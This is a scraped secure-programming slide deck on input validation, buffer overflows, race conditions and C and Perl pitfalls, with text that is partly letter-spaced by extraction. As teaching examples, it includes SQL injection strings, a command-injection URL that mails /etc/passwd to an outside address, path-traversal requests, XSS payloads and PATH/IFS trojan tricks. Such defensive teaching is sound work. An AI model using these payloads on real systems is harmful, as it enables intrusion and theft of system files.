In this presentation, we try to teach programmers how to avoid security flaws in the code.
The presentation is of the format of problem->solution->problem....
Given a piece of code the attendees have to identify the security bugs in it and the suggest a fix. Now, the attendees have to find security bugs in the fix. The exercise goes on and the attendees become secure code aware.
-- KnowBigData.com
Odoo Development Company in India | Devintelle Consulting Service
Secure Programming
1. D. E. Shaw India Software Private Limited
Secure Programming
Sandeep Giri
Index
2. D. E. Shaw India Software Private Limited
What Is Security?
Confidentiality (also known as secrecy), meaning that
the computing system's assets can be read only by
authorized parties.
Integrity, meaning that the assets can only be
modified or deleted by authorized parties in
authorized ways.
Availability, meaning that the assets are accessible to
the authorized parties in a timely manner (as
determined by the systems requirements). The failure
to meet this goal is called a denial of service.
Index
3. D. E. Shaw India Software Private Limited
Why Secure Programming?
Note: suid (set user ID) is a program which while running behaves as the owner of
the particular file not as the one who runs it.
setgid: set group ID
Index
4. D. E. Shaw India Software Private Limited
What needs to be secured?
Viewers of remote data
– For e.g. Browser,Applets,Email clients,Word processors
Application programs used by the administrator
Servers
– Local (daemons like syslog)
– Network-accessible servers (network daemons
ftpd,telnetd,apache,sendmail).
– Web-based applications(Sp. Case of above)
Setuid/setgid programs (like passwd).
Index
5. D. E. Shaw India Software Private Limited
HOW???
Index
6. D. E. Shaw India Software Private Limited
The Key is:
“Paranoia is a Virtue”
Solutions follow….
Index
7. D. E. Shaw India Software Private Limited
Index
Validation of Inputs
– Examples
– Different types of inputs
Buffer Overflows
Structure Program Internals
Sending Information Back Judiciously
Language-Specific Issues
– C/C++
– Perl
– Shell Scripting Languages
Index
8. D. E. Shaw India Software Private Limited
Validate All Input
Properly Check the input for valid data
Example:
SQLQUERY= “s e le c t s o m e thing fro m ta ble whe re us e rna m e =
‘”+ us e rid + ”’ a nd p a s s wo rd = ‘”+ p a s s wd + ”’”;
Input:
“a d m in’” will c o nv e rt the q ue ry into
“s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’’ a nd p a s s wo rd = ‘a ny thing ”
(N te ‘’ a fte r a d m in)
o
“a d m in’--” will c o nv e rt the q ue ry into
“s e le c t s o m e thing fro m ta ble whe re us e rna m e = ‘a d m in’--’ a nd p a s s wo rd = ‘a ny thing ”
(N te e ve ry thing a fte r ‘--’ is c o m m e nte d )
o
Index
9. D. E. Shaw India Software Private Limited
Validate All Input->
Another Example:
Code:
system("mail " . $form_data{"email"});
Exploit/Loophole:
Input:
http://server/script.cgi?email=
me@mydomain.com;mail hacker@hack.net</etc/passwd"
This will mail him a copy of /etc/passwd.
Index
10. D. E. Shaw India Software Private Limited
Validate All Input->
Solutions/Suggestions:
Determine what is legal and reject anything that does not match
that definition but not the reverse.
Following pattern for input may be enough:
[A-Za-z][A-Za-z0-9_,+@-.=]* or ^[A-Za-z]+(_[A-Za-z]+)? or
(.[A-Z]+(-[A-Z0-9]+)*)? or (@[A-Za-z0-9]+(=[A-Za-z0-9-]+) or
(,[A-Za-z0-9]+(=[A-Za-z0-9-]+))*)?$
When accepting cookie values, check if the domain
value for any cookie you're using is the expected one.
While parsing input, temporarily drop all privileges,
or even create separate processes
Index
11. D. E. Shaw India Software Private Limited
Validate All Input->
Different Types Of User Input
Environment variables
Input may be in the form of environment variables (e.g.
PATH,IFS etc.) inherited from parent process
Example Code:
Sy s te m (“d a te ”);
Exploit:
Se t PA to the c urre nt d ire c to ry a nd m a ke a
TH
tro ja ne d d a te c o m m a nd . N w , y o ur d a te c o m m a nd
o
will be e x e c ute d with p a re nts p rivile g e s .
Index
12. D. E. Shaw India Software Private Limited
Validate All Input->types->environment variables->
Yet Another Example
I - (Internal field separator, used to separate
FS
the command line arguments.)
Code:
Sy s te m (“/us r/bin/d a te ”);
Exploit/loophole:
se t IFS= ‘/’;
Now create a Trojaned program with name usr and set
PATH to current directory.Your ‘usr’ will be executed instead
of date because this command will be interpreted as
$ us r bin d a te
Index
13. D. E. Shaw India Software Private Limited
Validate All Input->types->environment variables->
Solution:
Reset all the variables.
For example,
set IFS = ‘nt’
Always extract and erase environment variables
and set these according to your needs.
Index
14. D. E. Shaw India Software Private Limited
Validate All Input->types->
File Names
Common mistakes:
ftp> ls
*/../*/../*/../*/../*/../*/../*/../*/../*/../
*/../*/../*/../*
http://www.yourserver.com/cgi-bin/script?
config-file=../../../etc/passwd&user=guest
you shouldn't support ``wild-cards'', that is,
expanding filenames using ``*'', ``?'', ``[''
(matching ``]''), and possibly ``{'' (matching ``}'').
File Contents
If a program takes directions from a file, it must not
Index
15. D. E. Shaw India Software Private Limited
Validate All Input->types->
Writing data to the file
When it is must to write the data from cgi script
(for example picture uploading script),
the file should not be in a executable/accessible
directory.
Index
16. D. E. Shaw India Software Private Limited
Validate All Input->types->
Web-Based Inputs (Especially CGI Scripts)
– Cross site scripting
Displaying the formatted text received from
another user may trick JavaScript(or Other
compts) and may result in befooling the current
user or crashing the browser.
Such vulnerabilities existed in most of the online
systems like: Yahoo,google, hotmail,indiatimes..
Quick Fix:
delete_every <script>….</script>
But it has got some problems…
Index
17. D. E. Shaw India Software Private Limited
Validate All Input->types->Web based IO->
What If input includes tags like this:
– <sc<script></script>ript>evil-code()</sc<script></script>ript>
– <b onmousover="...">go here</b>
– <img [line_break] src="javascript:alert(document.location)">
– <a href="javascript#[code]">
– <div onmouseover="[code]">
– <img src="javascript:[code]">
– <img dynsrc="javascript:[code]"> [IE]
– <input type="image" dynsrc="javascript:[code]"> [IE]
– <bgsound src="javascript:[code]"> [IE]
List goes on …
Index
18. D. E. Shaw India Software Private Limited
Validate All Input->types->Web based IO->
Solutions:
– Only allow a few tags,if it is must.like:
<p> ,<b> , <i>, <em>, <strong>, <pre> , <br>
– while displaying html as such convert
‘<‘ to < , > to >, & to &
– One may use his own type of tags
Ex m p le [im g ]. . [/im g ] (a s us e d by Ya BB)
– Accept only legal characters:
$summary =~ tr/A-Za-z0-9 .://dc;
– Remove Special characters
$s =~ s/[<>"'%;()&+]//g;
Can use PHP code to filter HTML posted by Konstantin Riabitsev:
Index http://www.mricon.com/html/phpfilter.html
19. D. E. Shaw India Software Private Limited
Buffer Overflow – A Big Deal
A buffer overflow occurs when you write a set of values into a fixed length buffer
and write at least one value outside that buffer's boundaries (usually past its
end). A buffer overflow can occur when reading input from the user into a buffer,
but it can also occur during other kinds of processing in a program.
The Problem: Sample Execution
$ p ro g a bc
int main(int argc,char **argv) { abc
char buffer[100]; $ p ro g < v e ry lo ng s tring >
if(argc>1) core dumped (segmentation
fault)
strcpy(buffer,argv[1]);
$ p ro g “% s a nd e e p ”
printf(buffer)
<garbage>andeep
}
(format string problem)
Index
20. D. E. Shaw India Software Private Limited
Buffer Overflow->
Exploit-Technique ( an overview )
EIP – Before a function is called, the address of
returning location is stored in EIP
Index
21. D. E. Shaw India Software Private Limited Buffer Overflow-> Suggestions:
Instead Of Use
Gets Fgets
Strcpy strncpy*,with NULLtermination
Strlcpy : a bit inefficient, fills with zeros
Strcat strncat*,with NULL termination
Strlcat : a bit inefficient
Printf With proper formatting e.g.: printf(“%s”,str); not printf(str);
Sprintf with length maximizing formatting. E.g.: Sprintf(buf,“%2s”,str);
Scanf with length maximizing formatting eg: scanf(“%5s”,str),
sscanf with length maximizing formatting
Index
22. D. E. Shaw India Software Private Limited
Buffer Overflow->
Overflows can be avoided by using:
Code Checking Utilities:
– flawfinder,RATS,ITS4, Slint
– Using Memory leak checking utilities like Memleak for VC++ available
at http://www.codeproject.com/useritems/leakfinder.asp
Libraries like
– Libmib, C++ Std :: string, libsafe,glibc
Compilers like :Stack Guard,Stack Shield
which check if return address is changed.
OS like : Immunix OS ,Bastile Linux
Linux Variants,with low level security against bof
Index Other languages like Java,Perl,PHP
23. D. E. Shaw India Software Private Limited
Structure Program Internals
Software Engineering Principles
– Economy of mechanism/Simplicity.
KISS - keep it simple, stupid
– Open design.
Do not depend on attacker’s ignorance.
– Complete mediation.
Every access attempt must be checked
– Fail-safe defaults
The default should be denial of service
– Separation of privilege.
Defeating one protection system shouldn't enable
complete access.
Index
24. D. E. Shaw India Software Private Limited
Structure Program Internals-> Software Engineering Principles->
– Least common mechanism.
Minimize use of shared mechanisms (e.g. use of the /tmp
or /var/tmp directories).
– Psychological acceptability / Easy to use
Users will routinely and automatically use the
protection mechanisms correctly.
Mistakes will be reduced if the security
mechanisms closely match the user's mental
image of his or her protection
Index
25. D. E. Shaw India Software Private Limited
Structure Program Internals->
Secure the Interface
Separate Data and Control
Minimize Privileges
Prevents problems due to accident, error, or attack.
Minimize:
– Granted privileges
– The Time the Privilege Can Be Used & is active
– The Modules Granted the Privilege
– the Accessible Data
– the Resources Available
Index
26. D. E. Shaw India Software Private Limited
Structure Program Internals->
Minimize the Functionality of a Component
Avoid Creating Setuid/Setgid Scripts
Configure Safely and Use Safe Defaults
Load Initialization Values Safely
Fail Safe
Avoid Race Conditions/ Sharing violation
Anomalous behavior due to unexpected critical dependence on
the relative timing of events
Index
27. D. E. Shaw India Software Private Limited
Structure Program Internals-> Sharing violation(due to racing)->
A crude example:
Password Conflict.
Another Example:
check(file);//checks if file has proper permissions
wait(sometime);
write(file,data); //writes data to file
What if file got changed in between checking and modifying data?
This generally happens with temporary file creation.
Solution:
– Use locks on files
– Use open() function of C
– Create random name file/open using O_CREATE|O_EXCL
Index – Use tmpfile()
28. D. E. Shaw India Software Private Limited
Send Information Back Judiciously
Minimize Feedback
Don't Include Comments
Control Formatting (``Cross Site Scripting'')
Prevent Include/Configuration File Access
<Files *.inc>
Order allow,deny
Deny from all
</Files>
Index
29. D. E. Shaw India Software Private Limited
Language-Specific Issues
C/C++
Biggest security problem with C and C++ programs is buffer overflow;
C has the additional weakness of not supporting exceptions,
Manual memory management(malloc,alloc,free,new delete)
Be as strict as you reasonably can in declaring types.
use ``enum'' to define enumerated values (and not just a ``char'' or ``int''
with special values).
Turn On Warnings to check overflows
gcc -Wall -Wpointer-arith -Wstrict-prototypes
-O2
You might want ``-W -pedantic'' too.
Index
30. D. E. Shaw India Software Private Limited
Language-Specific Issues->C/C++ ->
Detect format string bugs by including following
header file
/* in header.h */
#ifndef __GNUC__
# define __attribute__(x) /*nothing*/
#endif
extern void logprintf(const char *format, ...)
__attribute__((format(printf,1,2)));
extern void logprintva(const char *format,
va_list args)
__attribute__((format(printf,1,0)));
Index
31. D. E. Shaw India Software Private Limited
Language-Specific Issues-> Perl
read man page perlsec(1) first to learn taint mode (-T)
open, glob, and back tick functions call the shell to expand
filename
perl open() function comes with, frankly, ``way too much magic'‘
Example:
//open a file s which is specified by user.
O p e n(HA DLE, s );
N
Loophole/exploit: s=“|s o m e c o m m a nd ”
Solution: use sysopen() instead.
turn on the warning flag (-w)
It is recommended to use sudo instead of setuid version of Perl,
which is default in some cases.
Index In regex, switch /e – expression evaluation- is dangerous
32. D. E. Shaw India Software Private Limited
Language-Specific Issues->
Shell Scripting Languages
Never use as setuid/setgid
On some systems,Fundamentally insecure
because prone to race condition
Index
33. D. E. Shaw India Software Private Limited
I would again say:
“The Key - ”
Paranoia is a Virtue
Index
34. D. E. Shaw India Software Private Limited
Questions?
Index
35. D. E. Shaw India Software Private Limited
Thanks
Index
Hinweis der Redaktion
Include ln –s /etc/passwd tmp technique in race condition..tmp file creation.. SSI.. Format string bugs. To be removed from “ send.. ” to new topic
Can be removed
remove
remove
remove
Remove till avoid race conditions
“ Electric Fence and Val grind ” is tool which solves the problem use ``enum'' to define enumerated values (and not just a ``char'' or ``int'' with special values).